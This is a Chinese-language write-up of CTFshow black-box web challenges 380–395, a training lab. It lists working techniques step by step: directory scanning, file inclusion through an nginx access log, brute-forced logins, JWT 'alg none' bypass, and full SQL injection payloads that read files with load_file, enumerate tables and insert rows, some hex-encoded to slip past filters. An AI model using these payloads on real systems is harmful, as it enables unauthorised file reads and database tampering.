【CTFSHOW】 web入门-黑盒测试
web380
扫描目录后,存在page.php
这里存在一个id.php参数,可能是文件包含。get传入id=flag即可
web381
原来的page.php加入了一个包含文件的前缀。
在注释中存在一个不存在于常见目录名称的目录,访问之即可
web382
访问上题的目录,发现一个登录界面。
简单注入即可
web383
同382 水题
web384
爆破,根据提示。这里用了burpsuite
admin/xy123
web385
用上文密码登录已经无法登录了
扫描目录的结果多了一个install
登陆后台,尝试登陆但是默认密码并不是admin/xy123
原来383题目本意是要通过注入获取默认密码admin888
web386
访问install,提示已经安装。看起来需要绕过这个lock。
重新扫,扫出clear.php
访问,猜测用file参数清除文件。
然后步骤同385
web387
提示前面部分和386一样
但是用clear.php删除lock.dat时提示:
扫描目录,有一个debug
这个目录传入file参数后可以打开文件,可能可以包含.日志包含php,执行方法unlink删除lock.dat:
file=/var/log/nginx/access.log
后续步骤同前
web388
访问debug会提示更改已写入日志,无回显,但是使用上一题的方法还是奏效。
web389
访问/debug提示权限不足,cookie存在一个auth字段,为jwt验证。
用jwt.io解码,得到一些信息:
将算法改为none可以绕过secretkey,也可以爆破secretkey。
添加cookie后重新访问debug/即可,剩余步骤同上。
web390
不可爆破secretkey,但是可以none绕过
另解,page.php存在注入点:
1 |
|
1 | ?id=0 union select 1,2,(select load_file('/var/www/html/alsckdfy/check.php')) |
web391
登陆界面加入授权码验证,之前的方法不太行
注入,注入点在搜索标题框
search.php?title=0’ union select 1,2,(select load_file(‘/var/www/html/alsckdfy/check.php’))–+
web392
上题注入点存在,但是flag不在check.php,而是在/flag
search.php?title=0’ union select 1,2,(select load_file(‘/flag’))–+
web393
上题注入点存在,但是sql没权限读取文件。
1 | search.php?title=0%27union%20select%201,2,concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27ctfshow%27--+ |
注入,有个表名叫link
search.php?title=0%27union%20select%201,2,concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27link%27--+
再注入,有个列名叫url,其中的值是google.com、baidu.com
本题在页面最后有一个搜索引擎,会根据id来调用这个link表中的数据。所以,可以通过注入点在表中新添一条记录,url为file:///flag
search.php?title=1';insert into link values(10,'a','file:///flag');
web394 395
过滤了一些字符,但是393的套路行得通。用16进制字符绕过。
search.php?title=1%27;insert%20into%20link%20values(10,%27a%27,0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);
#file:///var/www/html/alsckdfy/check.php